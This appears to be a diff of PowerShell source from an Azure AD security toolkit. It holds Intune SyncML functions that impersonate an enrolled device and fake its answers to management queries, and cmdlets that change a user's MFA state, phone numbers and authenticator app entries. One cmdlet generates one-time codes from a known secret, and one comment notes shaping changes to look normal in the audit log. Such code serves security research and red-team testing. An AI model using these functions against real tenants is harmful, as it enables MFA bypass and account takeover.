$cspParameters.KeyContainerName ="AADInternals"
# Set the private key
$privateKey = [System.Security.Cryptography.RSACryptoServiceProvider]::new(2048,$cspParameters)
$privateKey.ImportParameters($rsa.ExportParameters($true))
$cert.PrivateKey = $privateKey
# Generate the return value
$joinInfo = @(
$CA,
$IntMedCA,
$cert
)
return $joinInfo
}
}
# Sep 3rd 2020
# Automatically responses to the given command array
function New-SyncMLAutoresponse
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[string]$DeviceName,
[Parameter(Mandatory=$True)]
[Object[]]$Commands,
[Parameter(Mandatory=$True)]
[int]$MsgID,
[Parameter(Mandatory=$True)]
[Hashtable]$Settings
)
Begin
{
$response200 = @(
"Add"
"Replace"
"Atomic"
"Delete"
"Sequence"
)
}
Process
{
$resCommands = @()
$CmdID = 1
foreach($command in $commands)
{
if($command.type -ne "Status")
{
# Just answer 400 to (almost) all requests
$errorCode = 400
# For NodeCache requests
if($command.Type -eq "Get" -and $command.LocURI.StartsWith("./Vendor/MSFT/NodeCache/"))
{
$errorCode = 404
}
# Status must be 200 for predefined answers
if($command.type -eq "Get" -and $Settings[$command.LocURI] -ne $null)
{
$errorCode = 200
}
# Okay, let's be nice for some commands :)
if($response200 -contains $command.Type)
{
$errorCode = 200
}
# Create the status message
$attr = [ordered]@{
Type="Status"
CmdID = $CmdID++
MsgRef = $MsgID-1 # Status is always referring to the previous message
CmdRef = $command.CmdID
Cmd = $command.Type
Data = $errorCode
}
$resCommands += New-Object psobject -Property $attr
# Create the results message
if($command.type -eq "Get" -and $Settings[$command.LocURI] -ne $null)
{
$attr = [ordered]@{
Type="Results"
CmdID = $CmdID++
MsgRef = $MsgID-1 # Status is always referring to the previous message
CmdRef = $command.CmdID
Cmd = $command.Type
LocURI = $command.LocURI
Data = $Settings[$command.LocURI]
}
$resCommands += New-Object psobject -Property $attr
}
if($command.type -eq "Get" -and $errorCode -ne 200)
{
#if($VerbosePreference)
#{
Write-Warning " < No data ($MsgID): $command"
#}
}
}
else
{
$resCommands += $command
$CmdID++
}
}
return $resCommands
}
}
# Sep 2nd 2020
# Create a new SyncML request
function New-SyncMLRequest
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[string]$DeviceName,
[Parameter(Mandatory=$True)]
[int]$SessionID,
[Parameter(Mandatory=$True)]
[int]$MsgID,
[Parameter(Mandatory=$False)]
[string]$VerDTD="1.2",
[Parameter(Mandatory=$False)]
[string]$VerProto="DM/1.2",
[Parameter(Mandatory=$False)]
[Object[]]$commands
)
Process
{
$CmdId = 1
$syncBody=""
foreach($command in $commands)
{
Write-Verbose " > $command"
switch($command.Type)
{
"Alert"
{
if($command.ItemData)
{
if($command.MetaType)
{
$meta = @"
<Meta>
<Type xmlns="syncml:metinf">$($command.MetaType)</Type>
</Meta>
"@
}
$syncBody += @"
<Alert>
<CmdID>$($command.CmdId)</CmdID>
<Data>$($command.Data)</Data>
<Item>
$meta
<Data>$($command.ItemData)</Data>
</Item>
</Alert>
"@
}
else
{
$syncBody += @"
<Alert>
<CmdID>$($command.CmdId)</CmdID>
<Data>$($command.Data)</Data>
</Alert>
"@
}
break
}
"Replace"
{
$syncBody += @"
<Replace>
<CmdID>$($command.CmdId)</CmdID>
"@
foreach($key in $command.Items.Keys)
{
$syncBody += @"
<Item>
<Source>
<LocURI>$key</LocURI>
</Source>
<Data>$($command.Items[$key])</Data>
</Item>
"@
}
$syncBody += "`n </Replace>"
break
}
"Delete"
{
break
}
"Atomic"
{
$syncBody += "`n"
$syncBody += @"
<Status>
<CmdID>$($command.CmdId)</CmdID>
<MsgRef>$($command.MsgRef)</MsgRef>
<CmdRef>$($command.CmdRef)</CmdRef>
<Cmd>$($command.Cmd)</Cmd>
<Data>200</Data>
</Status>
"@
break
}
"Sequence"
{
$syncBody += "`n"
$syncBody += @"
<Status>
<CmdID>$($command.CmdId)</CmdID>
<MsgRef>$($command.MsgRef)</MsgRef>
<CmdRef>$($command.CmdRef)</CmdRef>
<Cmd>$($command.Cmd)</Cmd>
<Data>200</Data>
</Status>
"@
break
}
"Final"
{
break
}
"Status"
{
$syncBody += "`n"
$syncBody += @"
<Status>
<CmdID>$($command.CmdId)</CmdID>
<MsgRef>$($command.MsgRef)</MsgRef>
<CmdRef>$($command.CmdRef)</CmdRef>
<Cmd>$($command.Cmd)</Cmd>
<Data>$($command.Data)</Data>
</Status>
"@
break
}
"Results"
{
$syncBody += "`n"
$syncBody += @"
<Results>
<CmdID>$($command.CmdId)</CmdID>
<MsgRef>$($command.MsgRef)</MsgRef>
<CmdRef>$($command.CmdRef)</CmdRef>
<Item>
<Source>
<LocURI>$($command.LocURI)</LocURI>
</Source>
<Data>$($command.Data)</Data>
</Item>
</Results>
"@
break
}
}
}
# Construct the body
$syncML = @"
<?xml version = "1.0" encoding = "UTF-8" ?>
<SyncML>
<SyncHdr>
<VerDTD>$VerDTD</VerDTD>
<VerProto>$VerProto</VerProto>
<SessionID>$SessionID</SessionID>
<MsgID>$MsgID</MsgID>
<Target>
<LocURI>https://r.manage.microsoft.com/devicegatewayproxy/cimhandler.ashx</LocURI>
</Target>
<Source>
<LocURI>$DeviceName</LocURI>
</Source>
</SyncHdr>
<SyncBody>
$syncBody
<Final/>
</SyncBody>
</SyncML>
"@
return $syncML
}
}
# Sep 2nd 2020
# Parses the SyncML response and returns an array containing all the returned commands
function Parse-SyncMLResponse
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[System.Xml.XmlDocument]$SyncML
)
Process
{
$commands = @()
$CmdId = 1
function parseNode
{
Param(
[Parameter(Mandatory=$True)]
$node,
[Parameter(Mandatory=$True)]
[ref]$commands
)
Process
{
switch($node.Name)
{
"Status"
{
$attr = [ordered]@{
Type="Status"
CmdID = $node.CmdID
MsgRef = $node.MsgRef
CmdRef = 0
Cmd = $node.Cmd
Data = $node.Data
}
$commands.value += New-Object psobject -Property $attr
break
}
"Get"
{
$attr = [ordered]@{
Type="Get"
CmdID = $node.CmdID
LocURI = $node.Item.Target.LocURI
}
$commands.value += New-Object psobject -Property $attr
break
}
"Add"
{
$attr = [ordered]@{
Type="Add"
CmdID = $node.CmdID
LocURI = $node.Item.Target.LocURI
}
$commands.value += New-Object psobject -Property $attr
break
}
"Replace"
{
$attr = [ordered]@{
Type="Replace"
CmdID = $node.CmdID
LocURI = $node.Item.Target.LocURI
MFormat = $node.Item.Meta.Format.'#text'
MType = $node.Item.Meta.Type.'#text'
Data = $node.Item.Data
}
$commands.value += New-Object psobject -Property $attr
break
}
"Delete"
{
$attr = [ordered]@{
Type="Delete"
CmdID = $node.CmdID
LocURI = $node.Item.Target.LocURI
}
$commands.value += New-Object psobject -Property $attr
break
}
"Atomic"
{
# Parse nodes inside this one
foreach($inode in $node.ChildNodes)
{
parseNode -node $inode -commands $commands
}
$attr = [ordered]@{
Type="Atomic"
CmdID = $node.CmdID
}
$commands.value += New-Object psobject -Property $attr
break
}
"Sequence"
{
# Parse nodes inside this one
foreach($inode in $node.ChildNodes)
{
parseNode -node $inode -commands $commands
}
$attr = [ordered]@{
Type="Sequence"
CmdID = $node.CmdID
LocURI = ""
}
$commands.value += New-Object psobject -Property $attr
break
}
"Final"
{
#$commands.value += New-Object psobject -Property @{Type="Final"}
break
}
}
}
}
foreach($node in $SyncML.SyncML.SyncBody.ChildNodes)
{
parseNode -node $node -commands ([ref]$commands)
}
if($VerbosePreference)
{
foreach($command in $commands)
{
Write-Verbose " < $command"
}
}
return $commands
}
}
# Sep 2nd 2020
# Sends the given SyncML to Intune and returns the response as an xml document
function Invoke-SyncMLRequest
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[string]$SyncML,
[Parameter(ParameterSetName='Certificate',Mandatory=$True)]
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate
)
Process
{
$headers=@{
"Content-Type" = "application/vnd.syncml.dm+xml; charset=utf-8"
"Accept" = "application/vnd.syncml.dm+xml, application/octet-stream"
"Accept-Charset" = "UTF-8"
"User-Agent" = "MSFT OMA DM Client/1.2.0.1"
}
Write-Debug "Request: $SyncML"
try
{
$response = Invoke-WebRequest -UseBasicParsing -Certificate $Certificate -Method Post -Uri "https://r.manage.microsoft.com/devicegatewayproxy/cimhandler.ashx?mode=Maintenance&Platform=WoA" -Headers $headers -Body $SyncML -ErrorAction SilentlyContinue -ContentType "application/vnd.syncml.dm+xml; charset=utf-8"
$xml = [xml]$response.content
}
catch
{
throw "SyncML request failed"
}
Write-Debug "Response: $($xml.OuterXml)"
return $xml
}
}
# Gets the object id of the device using device id
# Sep 11th 2020
function Get-DeviceObjectId
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$DeviceId,
[Parameter(Mandatory=$True)]
[String]$TenantId,
[Parameter(Mandatory=$True)]
[String]$AccessToken
)
Process
{
$headers=@{
"Authorization" = "Bearer $AccessToken"
"Accept" = "application/json;odata=nometadata"
}
Write-Verbose "Getting objectId for device $DeviceId"
$devices = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "https://graph.windows.net/$tenantId/devices?`$filter=deviceId eq guid'$DeviceId'&`$select=objectId,displayName,deviceId&api-version=1.61-internal" -Headers $headers
foreach($device in $devices.value)
{
if($device.deviceId -eq $DeviceId)
{
$ObjectId = $device.objectId
break
}
}
if([string]::IsNullOrEmpty($ObjectId))
{
throw "Device $DeviceId not found!"
}
return $ObjectId
}
}
+949
View File
@@ -0,0 +1,949 @@
## MFA functions utilizing provisioning API
# Mar 3rd 2020
function Set-UserMFA
{
<#
.SYNOPSIS
Sets user's MFA settings
.DESCRIPTION
Sets user's MFA settings using Provisioning API
.Parameter AccessToken
Access Token of the user accessing Azure Active Directory to find the given user to get the SID
.Parameter UserPrincipalName
User's principal name.
.Parameter State
State of user's MFA: Disabled, Enabled, or Enforced.
.Parameter StartTime
Remembers devices issued after the given time. Note! Applied only if State equals Enabled or Enfoced.
.Parameter PhoneNumber
User's phone number used for MFA. Must in the following format "+CCC NNNNN" where CCC is country code and NNNN the phone number without leading zero.
.Parameter AlternativePhoneNumber
User's alternative phone number used for MFA. Must in the following format "+CCC NNNNN" where CCC is country code and NNNN the phone number without leading zero.
.Parameter Email
User's phone number used for MFA. Should be correct email address.
.Parameter DefaultMethod
User's default MFA method: PhoneAppNotification, PhoneAppOTP, or OneWaySMS. TwoWayVoiceOffice and TwoWayVoiceMobile won't work in TRIAL tenants.
In audit log: PhoneAppNotification=0, PhoneAppOTP=6, OneWaySMS=7, TwoWayVoiceOffice=5, TwoWayVoiceMobile=2
.Example
PS C:\>$at=Get-AADIntAccessTokenForAADGraph
PS C:\>Set-AADIntUserMFA -AccessToken $at -UserPrincipalName user@company.com -PhoneNumber "+1 123456789" -DefaultMethod PhoneAppNotification
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$UserPrincipalName,
[Parameter(Mandatory=$False)]
[ValidateSet('Disabled','Enabled','Enforced')]
$State,
[Parameter(Mandatory=$False)]
[ValidateSet('PhoneAppOTP','PhoneAppNotification','OneWaySMS','TwoWayVoiceOffice','TwoWayVoiceMobile')]
$DefaultMethod,
[Parameter(Mandatory=$False)]
[DateTime]$StartTime=(Get-Date),
[Parameter(Mandatory=$False)]
[String]$PhoneNumber,
[Parameter(Mandatory=$False)]
[String]$AlternativePhoneNumber,
[Parameter(Mandatory=$False)]
[String]$Email
)
Process
{
# Validation for phone numbers
function valPho
{
Param([String]$PhoneNumber)
if(![String]::IsNullOrEmpty($PhoneNumber))
{
$regex="^[+]\d{1,3} [1-9]\d{1,11}$" # 1-3 digits (country code), space, non-zero digit, and 1 to 11 digits.
return [regex]::Match($PhoneNumber,$regex).success
}
else
{
return $true
}
}
# Check the phone numbers
if(!((valPho $PhoneNumber) -and (valPho $AlternativePhoneNumber)))
{
Write-Error 'Invalid phone number format! Use the following format: "+CCC NNNNNNN" where CCC is the country code and NNNN the phonenumber without the leading zero.'
return
}
$command="SetUser"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Get user name from access token if empty
if([string]::IsNullOrEmpty($UserPrincipalName))
{
$UserPrincipalName = (Read-Accesstoken -AccessToken $AccessToken).unique_name
}
# Convert time to text
$startText = $StartTime.ToUniversalTime().toString("yyyy-MM-ddTHH:mm:ss+00:00").Replace(".",":")
# Set StrongAuthenticationRequirements
$StrongAuthenticationRequirements="<c:StrongAuthenticationRequirements/>"
if([string]::IsNullOrEmpty($State))
{
$StrongAuthenticationRequirements='<c:StrongAuthenticationRequirements i:nil="true"/>'
}
elseif($State -ne "Disabled")
{
$StrongAuthenticationRequirements=@"
<c:StrongAuthenticationRequirements>
<c:StrongAuthenticationRequirement>
$(Add-CElement -Parameter "RelyingParty" -Value "*")
$(Add-CElement -Parameter "RememberDevicesNotIssuedBefore" -Value "$startText")
$(Add-CElement -Parameter "State" -Value "$State")
</c:StrongAuthenticationRequirement>
</c:StrongAuthenticationRequirements>
"@
}
# Set the default method
$StrongAuthenticationMethods='<c:StrongAuthenticationMethods i:nil="true"/>'
if(![String]::IsNullOrEmpty($DefaultMethod))
{
$StrongAuthenticationMethods=@"
<c:StrongAuthenticationMethods>
<c:StrongAuthenticationMethod>
<c:IsDefault>$($DefaultMethod.Equals("PhoneAppOTP").ToString().ToLower())</c:IsDefault>
<c:MethodType>PhoneAppOTP</c:MethodType>
</c:StrongAuthenticationMethod>
<c:StrongAuthenticationMethod>
<c:IsDefault>$($DefaultMethod.Equals("PhoneAppNotification").ToString().ToLower())</c:IsDefault>
<c:MethodType>PhoneAppNotification</c:MethodType>
</c:StrongAuthenticationMethod>
<c:StrongAuthenticationMethod>
<c:IsDefault>$($DefaultMethod.Equals("OneWaySMS").ToString().ToLower())</c:IsDefault>
<c:MethodType>OneWaySMS</c:MethodType>
</c:StrongAuthenticationMethod>
<c:StrongAuthenticationMethod>
<c:IsDefault>$($DefaultMethod.Equals("TwoWayVoiceOffice").ToString().ToLower())</c:IsDefault>
<c:MethodType>TwoWayVoiceOffice</c:MethodType>
</c:StrongAuthenticationMethod>
<c:StrongAuthenticationMethod>
<c:IsDefault>$($DefaultMethod.Equals("TwoWayVoiceMobile").ToString().ToLower())</c:IsDefault>
<c:MethodType>TwoWayVoiceMobile</c:MethodType>
</c:StrongAuthenticationMethod>
</c:StrongAuthenticationMethods>
"@
}
# Create the body for setting MFA
$request_elements=@"
<b:User xmlns:c="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration">
$StrongAuthenticationMethods
<c:StrongAuthenticationPhoneAppDetails i:nil="true"/>
<c:StrongAuthenticationProofupTime i:nil="true"/>
$StrongAuthenticationRequirements
<c:StrongAuthenticationUserDetails>
$(Add-CElement -Parameter "AlternativePhoneNumber" -Value "$AlternativePhoneNumber")
$(Add-CElement -Parameter "Email" -Value "$Email")
<c:OldPin i:nil="true"/>
$(Add-CElement -Parameter "PhoneNumber" -Value "$PhoneNumber")
<c:Pin i:nil="true"/>
</c:StrongAuthenticationUserDetails>
$(Add-CElement -Parameter "UserPrincipalName" -Value "$UserPrincipalName")
</b:User>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# Return
$results
}
}
# Sets user's MFA app details
# Jun 29th 2020
function Set-UserMFAApps
{
<#
.SYNOPSIS
Sets user's MFA Apps settings
.DESCRIPTION
Sets user's MFA Apps settings using Azure AD Graph
.Parameter AccessToken
Access Token of the user accessing Azure Active Directory to find the given user to get the SID
.Parameter UserPrincipalName
User's principal name.
.Parameter Id
Id of the device.
.Parameter AuthenticationType
Comma separated list of authentication types of the device. For example, "Notification, OTP" or just "OTP".
In audit log: OTP=1, Notification=2.
.Parameter DeviceName
Name of the device
.Parameter DeviceTag
Tag. Usually "SoftwareTokenActivated".
.Parameter DeviceToken
Device token of MFA Authenticator App.
.Parameter NotificationType
Notification type of the app. Can be GCM (notification through app) or Invalid (just OTP).
In audit log: OTP=1, GCM=4
.Parameter OathTokenTimeDrift
Time drift of Oath token in seconds. Should be 0 or close to it.
.Parameter OathSecretKey
Secret key for calculating OTPs.
.Parameter PhoneAppVersion
Version of the app.
.Parameter TimeInterval
Time interval.
.Example
PS C:\>$at=Get-AADIntAccessTokenForAADGraph
PS C:\>Get-AADIntUserMFAApps -AccessToken $at -UserPrincipalName user@company.com
AuthenticationType : Notification, OTP
DeviceName : SM-R2D2
DeviceTag : SoftwareTokenActivated
DeviceToken : APA91...
Id : 454b8d53-d97e-4ead-a69c-724166394334
NotificationType : GCM
OathTokenTimeDrift : 0
OathSecretKey :
PhoneAppVersion : 6.2001.0140
TimeInterval :
AuthenticationType : OTP
DeviceName : NO_DEVICE
DeviceTag : SoftwareTokenActivated
DeviceToken : NO_DEVICE_TOKEN
Id : aba89d77-0a69-43fa-9e5d-6f41c7b9bb16
NotificationType : Invalid
OathTokenTimeDrift : 0
OathSecretKey :
PhoneAppVersion : NO_PHONE_APP_VERSION
TimeInterval :
PS C:\>Set-AADIntUserMFAApps -AccessToken $at -Id 454b8d53-d97e-4ead-a69c-724166394334 -DeviceName "SM-3CPO"
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[String]$UserPrincipalName,
[Parameter(Mandatory=$True)]
[guid]$Id,
[Parameter(Mandatory=$False)]
[String]$AuthenticationType,
[Parameter(Mandatory=$False)]
[String]$DeviceName,
[Parameter(Mandatory=$False)]
[String]$DeviceTag,
[Parameter(Mandatory=$False)]
[String]$DeviceToken,
[Parameter(Mandatory=$False)]
[ValidateSet('Invalid','GCM')]
[String]$NotificationType,
[Parameter(Mandatory=$False)]
[int]$OathTokenTimeDrift,
[Parameter(Mandatory=$False)]
[String]$OathSecretKey,
[Parameter(Mandatory=$False)]
[String]$PhoneAppVersion,
[Parameter(Mandatory=$False)]
[String]$TimeInterval
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Get user name from access token if empty
if([string]::IsNullOrEmpty($UserPrincipalName))
{
$UserPrincipalName = (Read-Accesstoken -AccessToken $AccessToken).unique_name
}
# Get user's current configuration and get the app details
$MFAApps = Get-UserMFAApps -UserPrincipalName $UserPrincipalName -AccessToken $AccessToken
# If only one element, add it to array
if(!$MFAApps.Count -gt 0)
{
$MFAApp = $MFAApps
Remove-Variable MFAApps
$MFAApps = @($MFAApp)
}
$found = $false
$pos=0
foreach($app in $MFAApps)
{
if($app.id -eq ($id.ToString()))
{
$found = $true
break
}
$pos++
}
if(!$found)
{
Throw "Authentication app $id not found from user $UserPrincipalName"
}
# Apply the new information
if($AuthenticationType)
{
$MFAApps[$pos].AuthenticationType=$AuthenticationType
}
if($DeviceName)
{
$MFAApps[$pos].DeviceName=$DeviceName
}
if($DeviceTag)
{
$MFAApps[$pos].DeviceTag=$DeviceTag
}
if($DeviceToken)
{
$MFAApps[$pos].DeviceToken=$DeviceToken
}
if($NotificationType)
{
$MFAApps[$pos].NotificationType=$NotificationType
}
if($OathTokenTimeDrift -ne $MFAApps[$pos].OathTokenTimeDrift)
{
$MFAApps[$pos].OathTokenTimeDrift=$OathTokenTimeDrift
}
if($OathSecretKey)
{
$MFAApps[$pos].OathSecretKey=$OathSecretKey
}
if($PhoneAppVersion)
{
$MFAApps[$pos].PhoneAppVersion=$PhoneAppVersion
}
if($TimeInterval)
{
$MFAApps[$pos].TimeInterval=$TimeInterval
}
# Create the body
$body = '{ "strongAuthenticationDetail": {"phoneAppDetails": ['
# We need to reverse so that it doesn't look weird in audit log.
for($a=$MFAApps.count-1; $a -ge 0; $a--)
{
$app=$MFAApps[$a]
$body+="{"
$body += """authenticationType"": ""$($app.AuthenticationType)"","
$body += """deviceName"": ""$($app.DeviceName)"","
$body += """deviceTag"": ""$($app.DeviceTag)"","
$body += """deviceToken"": ""$($app.DeviceToken)"","
$body += """id"": ""$($app.Id)"","
$body += """notificationType"": ""$($app.NotificationType)"","
$body += """oathTokenTimeDrift"": $($app.OathTokenTimeDrift),"
if([string]::IsNullOrEmpty($app.OathSecretKey))
{
$body += """oathSecretKey"": null,"
}
else
{
$body += """oathSecretKey"": ""$($app.oathSecretKey)"","
}
$body += """phoneAppVersion"": ""$($app.PhoneAppVersion)"","
$body += """timeInterval"": $(if([string]::IsNullOrEmpty($app.TimeInterval)){'null'}else{$app.TimeInterval})"
$body += "},"
}
# Strip the last comma
$body=$body.Substring(0,$body.Length-1)
$body += "]}}";
# Set the user agent
$headers=@{
"User-Agent" = ""
}
try
{
# Set app details
$results=Call-GraphAPI -AccessToken $AccessToken -Command "users/$UserPrincipalName" -Method PATCH -Body $body -Headers $headers
}
catch
{
# Get the error
$err = $_.ErrorDetails.Message | ConvertFrom-Json
# Insufficient privileges etc.
if($err.'odata.error'.message.value)
{
Write-Error $err.'odata.error'.message.value
}
else # Other errors
{
$property = $err.'odata.error'.values[0].value
$error = $err.'odata.error'.values[1].value
Write-Error "$($property): $error"
}
}
}
}
# Mar 3rd 2020
# Deprecated old version
function Get-UserMFA2
{
<#
.SYNOPSIS
Gets user's MFA settings
.DESCRIPTION
Gets user's MFA settings using Provisioning API
.Parameter AccessToken
Access Token of the user accessing Azure Active Directory to find the given user to get the SID
.Parameter UserPrincipalName
User's principal name.
.Example
PS C:\>$at=Get-AADIntAccessTokenForAADGraph
PS C:\>Get-AADIntUserMFA -AccessToken $at -UserPrincipalName user@company.com
UserPrincipalName : user@company.com
State : Enforced
PhoneNumber : +1 123456789
AlternativePhoneNumber : +358 123456789
Email : someone@hotmail.com
DefaultMethod : OneWaySMS
Pin :
OldPin :
StartTime :
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$UserPrincipalName
)
Process
{
# Get the user
$user = Get-UserByUpn -AccessToken $AccessToken -UserPrincipalName $UserPrincipalName
# Get user name from access token if empty
if([string]::IsNullOrEmpty($UserPrincipalName))
{
$UserPrincipalName = (Read-Accesstoken -AccessToken $AccessToken).unique_name
}
# Get the details and requirements
$details = $user.StrongAuthenticationUserDetails
$requirements = $user.StrongAuthenticationRequirements
$appDetails = $user.StrongAuthenticationPhoneAppDetails
# Construct the attributes hashtable
$attributes = [ordered]@{
"UserPrincipalName" = $UserPrincipalName
"State" = "Disabled"
"PhoneNumber" = $details.PhoneNumber
"AlternativePhoneNumber" = $details.AlternativePhoneNumber
"Email" = $details.Email
"DefaultMethod" =""
"Pin" = $details.Pin
"OldPin" = $details.OldPin
"StartTime" = $null
}
if(![string]::IsNullOrEmpty($requirements))
{
$attributes["State"]=$requirements.StrongAuthenticationRequirement.State
$attributes["StartTime"]=[DateTime]$requirements.StrongAuthenticationRequirement.RememberDevicesNotIssuedBefore
}
$count=0
foreach($app in $appDetails.StrongAuthenticationPhoneAppDetail)
{
$count++
#$app=$appDetails.StrongAuthenticationPhoneAppDetail
$attributes["App$count-AppAuthenticationType"]=$app.AuthenticationType
$attributes["App$count-AppDeviceId"]=$app.DeviceId
$attributes["App$count-AppDeviceName"]=$app.DeviceName
$attributes["App$count-AppDeviceTag"]=$app.DeviceTag
$attributes["App$count-AppDeviceToken"]=$app.DeviceToken
$attributes["App$count-AppId"]=$app.Id
$attributes["App$count-AppNotificationType"]=$app.NotificationType
$attributes["App$count-AppOathTokenTimeDrift"]=$app.OathTokenTimeDrift
$attributes["App$count-AppPhoneAppVersion"]=$app.PhoneAppVersion
$attributes["App$count-AppTimeInterval"]=$app.TimeInterval
}
# Get the default method
foreach($method in $user.StrongAuthenticationMethods.StrongAuthenticationMethod)
{
if($method.IsDefault.equals("true"))
{
$attributes["DefaultMethod"]=$method.Methodtype
}
}
# Return
New-Object PSObject -Property $attributes
}
}
# Jun 24th 2020
function Get-UserMFA
{
<#
.SYNOPSIS
Gets user's MFA settings
.DESCRIPTION
Gets user's MFA settings using Provisioning API
.Parameter AccessToken
Access Token of the user accessing Azure Active Directory to find the given user to get the SID
.Parameter UserPrincipalName
User's principal name.
.Example
PS C:\>$at=Get-AADIntAccessTokenForAADGraph
PS C:\>Get-AADIntUserMFA -AccessToken $at -UserPrincipalName user@company.com
UserPrincipalName : user@company.com
State : Enforced
PhoneNumber : +1 123456789
AlternativePhoneNumber : +358 123456789
Email : someone@hotmail.com
DefaultMethod : OneWaySMS
Pin :
OldPin :
StartTime :
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$UserPrincipalName
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Get user name from access token if empty
if([string]::IsNullOrEmpty($UserPrincipalName))
{
$UserPrincipalName = (Read-Accesstoken -AccessToken $AccessToken).unique_name
}
# Get the user information
$user=Call-GraphAPI -AccessToken $AccessToken -Command "users/$UserPrincipalName" -QueryString "`$select=strongAuthenticationDetail"
# Get the details and requirements
$details = $user.strongAuthenticationDetail.verificationDetail
$requirements = $user.strongAuthenticationDetail.Requirements
$appDetails = $user.strongAuthenticationDetail.PhoneAppDetails
# Construct the attributes hashtable
$attributes = [ordered]@{
"UserPrincipalName" = $UserPrincipalName
"State" = $null
"PhoneNumber" = $details.PhoneNumber
"AlternativePhoneNumber" = $details.AlternativePhoneNumber
"Email" = $details.Email
"DefaultMethod" =""
"Pin" = $details.Pin
"OldPin" = $details.OldPin
"StartTime" = $null
"RelyingParty" = $null
}
# Check if we got details. If so, default the State to Disabled
if($details)
{
$attributes["State"]="Disabled"
}
# Check if we got requirements and update.
if($requirements)
{
$attributes["State"]=$requirements.state
$attributes["StartTime"]=[DateTime]$requirements.rememberDevicesNotIssuedBefore
$attributes["RelyingParty"]=$requirements.relyingParty
}
$attributes["AppDetails"]=Parse-AuthApps -appDetails $appDetails
# Get the default method
foreach($method in $user.strongAuthenticationDetail.methods)
{
if($method.IsDefault -eq "True")
{
$attributes["DefaultMethod"]=$method.Methodtype
}
}
# Return
New-Object PSObject -Property $attributes
}
}
# Jun 30th 2020
function Get-UserMFAApps
{
<#
.SYNOPSIS
Gets user's MFA Authentication App settings
.DESCRIPTION
Gets user's MFA Authentication App settings using Azure AD Graph
.Parameter AccessToken
Access Token of the user accessing Azure Active Directory to find the given user to get the SID
.Parameter UserPrincipalName
User's principal name.
.Example
PS C:\>$at=Get-AADIntAccessTokenForAADGraph
PS C:\>Get-AADIntUserMFAApps -AccessToken $at -UserPrincipalName user@company.com
AuthenticationType : Notification, OTP
DeviceName : SM-R2D2
DeviceTag : SoftwareTokenActivated
DeviceToken : APA91...
Id : 454b8d53-d97e-4ead-a69c-724166394334
NotificationType : GCM
OathTokenTimeDrift : 0
OathSecretKey :
PhoneAppVersion : 6.2001.0140
TimeInterval :
LastAuthTime : 16/08/2020 10.12.17
AuthenticationType : OTP
DeviceName : NO_DEVICE
DeviceTag : SoftwareTokenActivated
DeviceToken : NO_DEVICE_TOKEN
Id : aba89d77-0a69-43fa-9e5d-6f41c7b9bb16
NotificationType : Invalid
OathTokenTimeDrift : 0
OathSecretKey :
PhoneAppVersion : NO_PHONE_APP_VERSION
TimeInterval :
LastAuthTime : 06/08/2019 11.07.05
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$UserPrincipalName
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Get user name from access token if empty
if([string]::IsNullOrEmpty($UserPrincipalName))
{
$UserPrincipalName = (Read-Accesstoken -AccessToken $AccessToken).unique_name
}
# Get the user information
$MFAinfo=Get-UserMFA -AccessToken $AccessToken -UserPrincipalName $UserPrincipalName
# Return
return $MFAinfo.AppDetails
}
}
# Generates a new One-Time-Password for MFA with the given secret
# Jun 26th 2020
function New-OTP
{
<#
.SYNOPSIS
Generates a one-time-password (OTP) using the given secret.
.DESCRIPTION
Generates a one-time-password (OTP) using the given secret. Can be used for MFA if the user's secret is known.
.Example
New-AADIntOTP -SecretKey "rrc2 wntz dkbu iikb"
OTP Valid
--- -----
502 109 26s
.Example
New-AADIntOTP -SecretKey "rrc2 wntz dkbu iikb" -Clipboard
OTP copied to clipboard, valid for 28s
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$SecretKey,
[switch]$Clipboard
)
Process
{
# Strip the spaces
$SecretKey=$SecretKey.Replace(" ","")
# Get the current time in seconds from 1.1.1970
$now = [int]((Get-Date).ToUniversalTime() -$epoch).TotalSeconds
# Generate the OTP
$OTP = Generate-tOTP -SecretKey $SecretKey -Seconds $now -TimeShift -15
# Copy to clipboard
if($Clipboard)
{
"{0:000000}" -f $OTP | Set-Clipboard
Write-Host "OTP copied to clipboard, valid for $(30-($now % 30))s"
return
}
# Return
$otpFormatted = "{0:000 000}" -f $OTP
return New-Object psobject -Property ([ordered]@{"OTP" = $otpFormatted; "Valid" = "$(30-($now % 30))s"})
}
}
# Generates a new One-Time-Password secret
# Jun 27th 2020
function New-OTPSecret
{
<#
.SYNOPSIS
Generates a one-time-password (OTP) secret.
.DESCRIPTION
Generates a one-time-password (OTP) secret.
.Example
New-AADIntOTPSecret
njny7gdb6tnfihy3
.Example
New-AADIntOTPSecret -Clipboard
